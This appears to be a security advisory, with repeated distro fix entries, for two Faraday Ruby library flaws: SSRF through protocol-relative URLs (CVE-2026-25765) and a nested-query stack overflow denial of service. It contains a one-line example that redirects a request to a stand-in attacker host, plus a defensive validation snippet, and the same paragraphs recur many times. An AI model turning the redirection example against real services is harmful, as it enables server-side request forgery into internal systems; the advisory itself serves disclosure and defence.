CVE-2026-25765

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

HTTP/REST API client library

Security Fix(es):

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.(CVE-2026-54297)

HTTP/REST API client library

Security Fix(es):

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.(CVE-2026-54297)

HTTP/REST API client library

Security Fix(es):

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.(CVE-2026-54297)

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.